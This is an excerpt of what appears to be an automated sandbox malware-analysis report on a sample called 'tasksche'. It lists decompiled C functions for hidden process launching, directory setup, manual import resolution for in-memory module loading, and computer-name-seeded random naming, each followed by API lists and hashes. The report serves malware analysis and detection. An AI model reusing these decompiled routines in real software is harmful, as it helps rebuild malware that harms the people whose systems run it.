					if(_a12 != 0) {
						_push(_t17);
						swprintf(_a12, L"%s\\%s", _a4);
					}
					_t15 = 1;
					return _t15;
				}
				goto L2;
			}





                    0x00401b07
                    0x00401b16
                    0x00401b27
                    0x00000000
                    0x00401b27
                    0x00401b18
                    0x00401b1e
                    0x00401b25
                    0x00401b36
                    0x00401b40
                    0x00401b42
                    0x00401b4e
                    0x00401b54
                    0x00401b59
                    0x00000000
                    0x00401b59
                    0x00000000

                    APIs
                    • CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B07
                    • SetCurrentDirectoryW.KERNEL32(?), ref: 00401B12
                    • CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B1E
                    • SetCurrentDirectoryW.KERNEL32(?), ref: 00401B21
                    • GetFileAttributesW.KERNEL32(?), ref: 00401B2C
                    • SetFileAttributesW.KERNEL32(?,00000000), ref: 00401B36
                    • swprintf.MSVCRT(?,%s\%s,?,?), ref: 00401B4E
                    Strings
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: Directory$AttributesCreateCurrentFile$swprintf
                    • String ID: %s\%s
                    • API String ID: 1036847564-4073750446
                    • Opcode ID: e8d223ccc4edc92c4536f1ca202ba6161fd040db7272db682552e70b0b18d917
                    • Instruction ID: 4a0a9b6f0974b2b783bf1fd4f993800d593798a72c4fd06372b86497b3864b36
                    • Opcode Fuzzy Hash: e8d223ccc4edc92c4536f1ca202ba6161fd040db7272db682552e70b0b18d917
                    • Instruction Fuzzy Hash: 99F06271200208BBEB103F65DE44F9B3B2CEB457A5F015832FA46B61A1DB75A855CAB8
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00401064 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63processsynchronizationCOMMON
                    Download Yara Rule
                    C-Code - Quality: 81%
                    			E00401064(CHAR* _a4, long _a8, DWORD* _a12) {
				struct _PROCESS_INFORMATION _v20;
				struct _STARTUPINFOA _v88;
				signed int _t32;
				intOrPtr _t37;

				_t32 = 0x10;
				_v88.cb = 0x44;
				memset( &(_v88.lpReserved), 0, _t32 << 2);
				_v20.hProcess = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t37 = 1;
				_v88.wShowWindow = 0;
				_v88.dwFlags = _t37;
				if(CreateProcessA(0, _a4, 0, 0, 0, 0x8000000, 0, 0,  &_v88,  &_v20) == 0) {
					return 0;
				}
				if(_a8 != 0) {
					if(WaitForSingleObject(_v20.hProcess, _a8) != 0) {
						TerminateProcess(_v20.hProcess, 0xffffffff);
					}
					if(_a12 != 0) {
						GetExitCodeProcess(_v20.hProcess, _a12);
					}
				}
				CloseHandle(_v20);
				CloseHandle(_v20.hThread);
				return _t37;
			}







                    0x00401070
                    0x00401074
                    0x0040107d
                    0x00401082
                    0x00401085
                    0x00401086
                    0x00401087
                    0x0040108d
                    0x0040108e
                    0x004010a1
                    0x004010b0
                    0x00000000
                    0x004010f7
                    0x004010b5
                    0x004010c5
                    0x004010cc
                    0x004010cc
                    0x004010d5
                    0x004010dd
                    0x004010dd
                    0x004010d5
                    0x004010ec
                    0x004010f1
                    0x00000000

                    APIs
                    • CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,00000044,?), ref: 004010A8
                    • WaitForSingleObject.KERNEL32(?,?), ref: 004010BD
                    • TerminateProcess.KERNEL32(?,000000FF), ref: 004010CC
                    • GetExitCodeProcess.KERNEL32(?,?), ref: 004010DD
                    • CloseHandle.KERNEL32(?), ref: 004010EC
                    • CloseHandle.KERNEL32(?), ref: 004010F1
                    Strings
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: Process$CloseHandle$CodeCreateExitObjectSingleTerminateWait
                    • String ID: D
                    • API String ID: 786732093-2746444292
                    • Opcode ID: 520ef4afec62fe4405832db260c3c6b21caa087d375fb1c1d919acb3a27097cb
                    • Instruction ID: fabf2a0aaa91e867d54492d1ca24e81fc8ed090543e33b3e61fa812da4358066
                    • Opcode Fuzzy Hash: 520ef4afec62fe4405832db260c3c6b21caa087d375fb1c1d919acb3a27097cb
                    • Instruction Fuzzy Hash: 8D116431900229ABDB218F9ADD04ADFBF79FF04720F008426F514B65A0DB708A18DAA8
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 004077BA Relevance: 12.1, APIs: 8, Instructions: 77COMMON
                    Download Yara Rule
                    C-Code - Quality: 81%
                    			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				intOrPtr* _t23;
				intOrPtr* _t24;
				void* _t27;
				void _t29;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t46;
				intOrPtr _t47;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x40d488);
				_push(0x4076f4);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x40f94c =  *0x40f94c | 0xffffffff;
				 *0x40f950 =  *0x40f950 | 0xffffffff;
				_t23 = __p__fmode();
				_t46 =  *0x40f948; // 0x0
				 *_t23 = _t46;
				_t24 = __p__commode();
				_t47 =  *0x40f944; // 0x0
				 *_t24 = _t47;
				 *0x40f954 = _adjust_fdiv;
				_t27 = E0040793F( *_adjust_fdiv);
				_t61 =  *0x40f870; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E0040793C);
				}
				E0040792A(_t27);
				_push(0x40e00c);
				_push(0x40e008);
				L00407924();
				_t29 =  *0x40f940; // 0x0
				_v112 = _t29;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x40f93c,  &_v112);
				_push(0x40e004);
				_push(0x40e000);
				L00407924();
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while(1) {
						__eflags =  *_t55 - 0x20;
						if(__eflags <= 0) {
							goto L7;
						}
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				L7:
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				_t69 = _v96.dwFlags & 0x00000001;
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_t40 = L00401FE7(_t69, GetModuleHandleA(0), 0, _t55, _t38);
				_v108 = _t40;
				exit(_t40);
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L0040791E();
				return _t41;
			}





























                    0x004077bd
                    0x004077bf
                    0x004077c4
                    0x004077cf
                    0x004077d0
                    0x004077dd
                    0x004077e2
                    0x004077e7
                    0x004077ee
                    0x004077f5
                    0x004077fc
                    0x00407802
                    0x00407808
                    0x0040780a
                    0x00407810
                    0x00407816
                    0x0040781f
                    0x00407824
                    0x00407829
                    0x0040782f
                    0x00407836
                    0x0040783c
                    0x0040783d
                    0x00407842
                    0x00407847
                    0x0040784c
                    0x00407851
                    0x00407856
                    0x0040786f
                    0x00407875
                    0x0040787a
                    0x0040787f
                    0x0040788c
                    0x0040788e
                    0x00407894
                    0x004078d0
                    0x004078d0
                    0x004078d3
                    0x00000000
                    0x00000000
                    0x004078d5
                    0x004078d6
                    0x004078d6
                    0x00407896
                    0x00407896
                    0x00407896
                    0x00407897
                    0x0040789a
                    0x0040789c
                    0x004078a7
                    0x004078a9
                    0x004078a9
                    0x004078aa
                    0x004078aa
                    0x004078a7
                    0x004078ad
                    0x004078ad
                    0x004078b1
                    0x00000000
                    0x00000000
                    0x004078b7
                    0x004078be
                    0x004078c4
                    0x004078c8
                    0x004078dd
                    0x004078ca
                    0x004078ca
                    0x004078ca
                    0x004078e9
                    0x004078ee
                    0x004078f2
                    0x004078f8
                    0x004078fd
                    0x004078ff
                    0x00407902
                    0x00407903
                    0x00407904
                    0x0040790b

                    APIs
                    • __set_app_type.MSVCRT(00000002), ref: 004077E7
                    • __p__fmode.MSVCRT ref: 004077FC
                    • __p__commode.MSVCRT ref: 0040780A
                    • _initterm.MSVCRT(0040E008,0040E00C), ref: 0040784C
                    • __getmainargs.MSVCRT(?,?,?,?,0040E008,0040E00C), ref: 0040786F
                    • _initterm.MSVCRT(0040E000,0040E004), ref: 0040787F
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: _initterm$__getmainargs__p__commode__p__fmode__set_app_type
                    • String ID:
                    • API String ID: 3626615345-0
                    • Opcode ID: bfbd7971593811c7fff28e35bb39fa0d644f96314b868f8e424e213b276a966c
                    • Instruction ID: 63d29f1c4e41429a3497612c8de1f509d91e94429ea3a2aefb8dc74a018e4fb3
                    • Opcode Fuzzy Hash: bfbd7971593811c7fff28e35bb39fa0d644f96314b868f8e424e213b276a966c
                    • Instruction Fuzzy Hash: 51318BB1D04344AFDB20AFA5DE49F5A7BA8BB05710F10463EF541B72E0CB786805CB59
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00407831 Relevance: 12.1, APIs: 8, Instructions: 72COMMON
                    Download Yara Rule
                    C-Code - Quality: 84%
                    			E00407831(CHAR* __ebx) {
				void* _t19;
				void _t21;
				intOrPtr _t28;
				signed int _t30;
				int _t32;
				intOrPtr* _t33;
				intOrPtr _t34;
				CHAR* _t35;
				intOrPtr _t38;
				intOrPtr* _t41;
				void* _t42;

				_t35 = __ebx;
				__setusermatherr(E0040793C);
				E0040792A(_t19);
				_push(0x40e00c);
				_push(0x40e008);
				L00407924();
				_t21 =  *0x40f940; // 0x0
				 *(_t42 - 0x6c) = _t21;
				__getmainargs(_t42 - 0x60, _t42 - 0x70, _t42 - 0x64,  *0x40f93c, _t42 - 0x6c);
				_push(0x40e004);
				_push(0x40e000);
				L00407924();
				_t41 =  *_acmdln;
				 *((intOrPtr*)(_t42 - 0x74)) = _t41;
				if( *_t41 != 0x22) {
					while(1) {
						__eflags =  *_t41 - 0x20;
						if(__eflags <= 0) {
							goto L6;
						}
						_t41 = _t41 + 1;
						 *((intOrPtr*)(_t42 - 0x74)) = _t41;
					}
				} else {
					do {
						_t41 = _t41 + 1;
						 *((intOrPtr*)(_t42 - 0x74)) = _t41;
						_t34 =  *_t41;
					} while (_t34 != _t35 && _t34 != 0x22);
					if( *_t41 == 0x22) {
						L5:
						_t41 = _t41 + 1;
						 *((intOrPtr*)(_t42 - 0x74)) = _t41;
					}
				}
				L6:
				_t28 =  *_t41;
				if(_t28 != _t35 && _t28 <= 0x20) {
					goto L5;
				}
				 *(_t42 - 0x30) = _t35;
				GetStartupInfoA(_t42 - 0x5c);
				_t52 =  *(_t42 - 0x30) & 0x00000001;
				if(( *(_t42 - 0x30) & 0x00000001) == 0) {
					_t30 = 0xa;
				} else {
					_t30 =  *(_t42 - 0x2c) & 0x0000ffff;
				}
				_t32 = L00401FE7(_t52, GetModuleHandleA(_t35), _t35, _t41, _t30);
				 *(_t42 - 0x68) = _t32;
				exit(_t32);
				_t33 =  *((intOrPtr*)(_t42 - 0x14));
				_t38 =  *((intOrPtr*)( *_t33));
				 *((intOrPtr*)(_t42 - 0x78)) = _t38;
				_push(_t33);
				_push(_t38);
				L0040791E();
				return _t33;
			}














                    0x00407831
                    0x00407836
                    0x0040783d
                    0x00407842
                    0x00407847
                    0x0040784c
                    0x00407851
                    0x00407856
                    0x0040786f
                    0x00407875
                    0x0040787a
                    0x0040787f
                    0x0040788c
                    0x0040788e
                    0x00407894
                    0x004078d0
                    0x004078d0
                    0x004078d3
                    0x00000000
                    0x00000000
                    0x004078d5
                    0x004078d6
                    0x004078d6
                    0x00407896
                    0x00407896
                    0x00407896
                    0x00407897
                    0x0040789a
                    0x0040789c
                    0x004078a7
                    0x004078a9
                    0x004078a9
                    0x004078aa
                    0x004078aa
                    0x004078a7
                    0x004078ad
                    0x004078ad
                    0x004078b1
                    0x00000000
                    0x00000000
                    0x004078b7
                    0x004078be
                    0x004078c4
                    0x004078c8
                    0x004078dd
                    0x004078ca
                    0x004078ca
                    0x004078ca
                    0x004078e9
                    0x004078ee
                    0x004078f2
                    0x004078f8
                    0x004078fd
                    0x004078ff
                    0x00407902
                    0x00407903
                    0x00407904
                    0x0040790b

                    APIs
                    • __setusermatherr.MSVCRT(0040793C), ref: 00407836
                      • Part of subcall function 0040792A: _controlfp.MSVCRT(00010000,00030000,00407842), ref: 00407934
                    • _initterm.MSVCRT(0040E008,0040E00C), ref: 0040784C
                    • __getmainargs.MSVCRT(?,?,?,?,0040E008,0040E00C), ref: 0040786F
                    • _initterm.MSVCRT(0040E000,0040E004), ref: 0040787F
                    • GetStartupInfoA.KERNEL32(?), ref: 004078BE
                    • GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 004078E2
                    • exit.MSVCRT(00000000,00000000,?,?,?,?), ref: 004078F2
                    • _XcptFilter.MSVCRT(?,?,?,?,?,?), ref: 00407904
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__setusermatherr_controlfpexit
                    • String ID:
                    • API String ID: 2141228402-0
                    • Opcode ID: e2abdc3946810ebb19c889ba728617f0f692a6676515e3c370649a79fa0f1872
                    • Instruction ID: 738ed170af38765147f9c33b7b7214e7a7d60aeb9597ff7827fffae83538cc25
                    • Opcode Fuzzy Hash: e2abdc3946810ebb19c889ba728617f0f692a6676515e3c370649a79fa0f1872
                    • Instruction Fuzzy Hash: F52135B2C04258AEEB20AFA5DD48AAD7BB8AF05304F24443FF581B7291D7786841CB59
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 004027DF Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 121COMMON
                    Download Yara Rule
                    C-Code - Quality: 96%
                    			E004027DF(signed int* _a4) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr* _t50;
				intOrPtr _t53;
				intOrPtr _t55;
				void* _t58;
				void _t60;
				signed int _t63;
				signed int _t67;
				intOrPtr _t68;
				void* _t73;
				signed int _t75;
				intOrPtr _t87;
				intOrPtr* _t88;
				intOrPtr* _t90;
				void* _t91;

				_t90 = _a4;
				_t2 = _t90 + 4; // 0x4be8563c
				_t87 =  *_t2;
				_t50 =  *_t90 + 0x80;
				_t75 = 1;
				_v16 = _t87;
				_v12 = _t75;
				if( *((intOrPtr*)(_t50 + 4)) != 0) {
					_t73 =  *_t50 + _t87;
					if(IsBadReadPtr(_t73, 0x14) != 0) {
						L25:
						return _v12;
					}
					while(1) {
						_t53 =  *((intOrPtr*)(_t73 + 0xc));
						if(_t53 == 0) {
							goto L25;
						}
						_t8 = _t90 + 0x30; // 0xc085d0ff
						_t55 =  *((intOrPtr*)(_t90 + 0x24))(_t53 + _t87,  *_t8);
						_v8 = _t55;
						if(_t55 == 0) {
							SetLastError(0x7e);
							L23:
							_v12 = _v12 & 0x00000000;
							goto L25;
						}
						_t11 = _t90 + 0xc; // 0x317459c0
						_t14 = _t90 + 8; // 0x85000001
						_t58 = realloc( *_t14, 4 +  *_t11 * 4);
						if(_t58 == 0) {
							_t40 = _t90 + 0x30; // 0xc085d0ff
							 *((intOrPtr*)(_t90 + 0x2c))(_v8,  *_t40);
							SetLastError(0xe);
							goto L23;
						}
						_t15 = _t90 + 0xc; // 0x317459c0
						 *(_t90 + 8) = _t58;
						 *((intOrPtr*)(_t58 +  *_t15 * 4)) = _v8;
						 *(_t90 + 0xc) =  *(_t90 + 0xc) + 1;
						_t60 =  *_t73;
						if(_t60 == 0) {
							_t88 = _t87 +  *((intOrPtr*)(_t73 + 0x10));
							_a4 = _t88;
						} else {
							_t88 =  *((intOrPtr*)(_t73 + 0x10)) + _v16;
							_a4 = _t60 + _t87;
						}
						while(1) {
							_t63 =  *_a4;
							if(_t63 == 0) {
								break;
							}
							if((_t63 & 0x80000000) == 0) {
								_t32 = _t90 + 0x30; // 0xc085d0ff
								_push( *_t32);
								_t67 = _t63 + _v16 + 2;
							} else {
								_t30 = _t90 + 0x30; // 0xc085d0ff
								_push( *_t30);
								_t67 = _t63 & 0x0000ffff;
							}
							_t68 =  *((intOrPtr*)(_t90 + 0x28))(_v8, _t67);
							_t91 = _t91 + 0xc;
							 *_t88 = _t68;
							if(_t68 == 0) {
								_v12 = _v12 & 0x00000000;
								break;
							} else {
								_a4 =  &(_a4[1]);
								_t88 = _t88 + 4;
								continue;
							}
						}
						if(_v12 == 0) {
							_t45 = _t90 + 0x30; // 0xc085d0ff
							 *((intOrPtr*)(_t90 + 0x2c))(_v8,  *_t45);
							SetLastError(0x7f);
							goto L25;
						}
						_t73 = _t73 + 0x14;
						if(IsBadReadPtr(_t73, 0x14) == 0) {
							_t87 = _v16;
							continue;
						}
						goto L25;
					}
					goto L25;
				}
				return _t75;
			}




















                    0x004027e6
                    0x004027ee
                    0x004027ee
                    0x004027f1
                    0x004027f6
                    0x004027f7
                    0x004027fa
                    0x00402801
                    0x0040280d
                    0x0040281a
                    0x0040291c
                    0x00000000
                    0x0040291f
                    0x00402825
                    0x00402825
                    0x0040282a
                    0x00000000
                    0x00000000
                    0x00402830
                    0x00402836
                    0x0040283a
                    0x00402840
                    0x004028fd
                    0x004028fd
                    0x00402903
                    0x00000000
                    0x00402903
                    0x00402846
                    0x00402851
                    0x00402854
                    0x0040285e
                    0x004028f0
                    0x004028f6
                    0x004028fd
                    0x00000000
                    0x004028fd
                    0x00402864
                    0x0040286a
                    0x0040286d
                    0x00402870
                    0x00402873
                    0x00402877
                    0x00402889
                    0x0040288b
                    0x00402879
                    0x0040287e
                    0x00402881
                    0x00402881
                    0x0040288e
                    0x00402891
                    0x00402895
                    0x00000000
                    0x00000000
                    0x0040289c
                    0x004028ab
                    0x004028ab
                    0x004028b0
                    0x0040289e
                    0x0040289e
                    0x0040289e
                    0x004028a1
                    0x004028a1
                    0x004028b7
                    0x004028ba
                    0x004028bd
                    0x004028c1
                    0x004028cc
                    0x00000000
                    0x004028c3
                    0x004028c3
                    0x004028c7
                    0x00000000
                    0x004028c7
                    0x004028c1
                    0x004028d4
                    0x00402909
                    0x0040290f
                    0x00402916
                    0x00000000
                    0x00402916
                    0x004028d6
                    0x004028e4
                    0x00402822
                    0x00000000
                    0x00402822
                    0x00000000
                    0x004028ea
                    0x00000000
                    0x00402825
                    0x00000000

                    APIs
                    • IsBadReadPtr.KERNEL32(00000000,00000014,00000000,00000001,00000000,?!@,004023F5,00000000), ref: 00402812
                    • realloc.MSVCRT(85000001,317459C0), ref: 00402854
                    • IsBadReadPtr.KERNEL32(-00000014,00000014), ref: 004028DC
                    Strings
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: Read$realloc
                    • String ID: ?!@
                    • API String ID: 1241503663-708128716
                    • Opcode ID: 3ef8fdaf83090ca6dd9f312f51019f46009b35537f3f51f7116a8d4e5983476b
                    • Instruction ID: b911edbb3638e6438919fa35cb7379f64586f657f287b8edbc273cd359ebb62a
                    • Opcode Fuzzy Hash: 3ef8fdaf83090ca6dd9f312f51019f46009b35537f3f51f7116a8d4e5983476b
                    • Instruction Fuzzy Hash: 4841AE76A00205EFDB109F55CE49B5ABBF4FF44310F24803AE846B62D1D7B8E900DB59
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00401225 Relevance: 10.6, APIs: 7, Instructions: 87COMMON
                    Download Yara Rule
                    C-Code - Quality: 86%
                    			E00401225(intOrPtr _a4) {
				signed int _v8;
				long _v12;
				void _v410;
				long _v412;
				long _t34;
				signed int _t42;
				intOrPtr _t44;
				signed int _t45;
				signed int _t48;
				int _t54;
				signed int _t56;
				signed int _t60;
				signed int _t61;
				signed int _t62;
				void* _t71;
				signed short* _t72;
				void* _t76;
				void* _t77;

				_t34 =  *0x40f874; // 0x0
				_v412 = _t34;
				_t56 = 0x63;
				_v12 = 0x18f;
				memset( &_v410, 0, _t56 << 2);
				asm("stosw");
				GetComputerNameW( &_v412,  &_v12);
				_v8 = _v8 & 0x00000000;
				_t54 = 1;
				if(wcslen( &_v412) > 0) {
					_t72 =  &_v412;
					do {
						_t54 = _t54 * ( *_t72 & 0x0000ffff);
						_v8 = _v8 + 1;
						_t72 =  &(_t72[1]);
					} while (_v8 < wcslen( &_v412));
				}
				srand(_t54);
				_t42 = rand();
				_t71 = 0;
				asm("cdq");
				_t60 = 8;
				_t76 = _t42 % _t60 + _t60;
				if(_t76 > 0) {
					do {
						_t48 = rand();
						asm("cdq");
						_t62 = 0x1a;
						 *((char*)(_t71 + _a4)) = _t48 % _t62 + 0x61;
						_t71 = _t71 + 1;
					} while (_t71 < _t76);
				}
				_t77 = _t76 + 3;
				while(_t71 < _t77) {
					_t45 = rand();
					asm("cdq");
					_t61 = 0xa;
					 *((char*)(_t71 + _a4)) = _t45 % _t61 + 0x30;
					_t71 = _t71 + 1;
				}
				_t44 = _a4;
				 *(_t71 + _t44) =  *(_t71 + _t44) & 0x00000000;
				return _t44;
			}





















                    0x0040122e
                    0x00401239
                    0x00401240
                    0x00401249
                    0x00401250
                    0x00401252
                    0x0040125f
                    0x0040126b
                    0x00401277
                    0x0040127e
                    0x00401280
                    0x00401286
                    0x00401289
                    0x0040128c
                    0x00401297
                    0x0040129d
                    0x00401286
                    0x004012a1
                    0x004012ae
                    0x004012b2
                    0x004012b4
                    0x004012b5
                    0x004012ba
                    0x004012be
                    0x004012c0
                    0x004012c0
                    0x004012c4
                    0x004012c5
                    0x004012ce
                    0x004012d1
                    0x004012d2
                    0x004012c0
                    0x004012d6
                    0x004012d9
                    0x004012dd
                    0x004012e1
                    0x004012e2
                    0x004012eb
                    0x004012ee
                    0x004012ee
                    0x004012f1
                    0x004012f4
                    0x004012fc

                    APIs
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: rand$wcslen$ComputerNamesrand
                    • String ID:
                    • API String ID: 3058258771-0
                    • Opcode ID: b0791ced207a07d975efd615d75f91e7379ad7fc4ff6fb2c179a53625b9ec986
                    • Instruction ID: 153b78e0bdef4b648922335b0398b7079fc1e42e5dbb3c53d325bf346215f47a
                    • Opcode Fuzzy Hash: b0791ced207a07d975efd615d75f91e7379ad7fc4ff6fb2c179a53625b9ec986
                    • Instruction Fuzzy Hash: FA212833A00318ABD7119B65ED81BDD77A8EB45354F1100BBF948F71C0CA759EC28BA8
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00407070 Relevance: 10.6, APIs: 7, Instructions: 74stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00407070(char* _a4, char* _a8) {
				char _v264;
				void _v524;
				long _t16;
				char* _t30;
				char* _t31;
				char* _t36;
				char* _t38;
				int _t40;
				void* _t41;

				_t30 = _a4;
				if(_t30 != 0 && GetFileAttributesA(_t30) == 0xffffffff) {
					CreateDirectoryA(_t30, 0);
				}
				_t36 = _a8;
				_t16 =  *_t36;
				if(_t16 != 0) {
					_t38 = _t36;
					_t31 = _t36;
					do {
						if(_t16 == 0x2f || _t16 == 0x5c) {
							_t38 = _t31;
						}
						_t16 = _t31[1];
						_t31 =  &(_t31[1]);
					} while (_t16 != 0);
					if(_t38 != _t36) {
						_t40 = _t38 - _t36;
						memcpy( &_v524, _t36, _t40);
						 *(_t41 + _t40 - 0x208) =  *(_t41 + _t40 - 0x208) & 0x00000000;
						E00407070(_t30,  &_v524);
					}
					_v264 = _v264 & 0x00000000;
					if(_t30 != 0) {
						strcpy( &_v264, _t30);
					}
					strcat( &_v264, _t36);
					_t16 = GetFileAttributesA( &_v264);
					if(_t16 == 0xffffffff) {
						return CreateDirectoryA( &_v264, 0);
					}
				}
				return _t16;
			}












                    0x0040707a
                    0x00407080
                    0x00407091
                    0x00407091
                    0x00407097
                    0x0040709a
                    0x0040709e
                    0x004070a5
                    0x004070a7
                    0x004070a9
                    0x004070ab
                    0x004070b1
                    0x004070b1
                    0x004070b3
                    0x004070b6
                    0x004070b7
                    0x004070bd
                    0x004070bf
                    0x004070ca
                    0x004070cf
                    0x004070df
                    0x004070e4
                    0x004070e7
                    0x004070f1
                    0x004070fb
                    0x00407101
                    0x0040710a
                    0x00407118
                    0x00407121
                    0x00000000
                    0x0040712c
                    0x00407121
                    0x00407135

                    APIs
                    • GetFileAttributesA.KERNEL32(?,?,?), ref: 00407083
                    • CreateDirectoryA.KERNEL32(?,00000000), ref: 00407091
                    • memcpy.MSVCRT(?,0000002F,0000002F,?,?,?), ref: 004070CA
                    • strcpy.MSVCRT(00000000,?,?,?), ref: 004070FB
                    • strcat.MSVCRT(00000000,0000002F,?,?), ref: 0040710A
                    • GetFileAttributesA.KERNEL32(00000000,?,?), ref: 00407118
                    • CreateDirectoryA.KERNEL32(00000000,00000000), ref: 0040712C
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
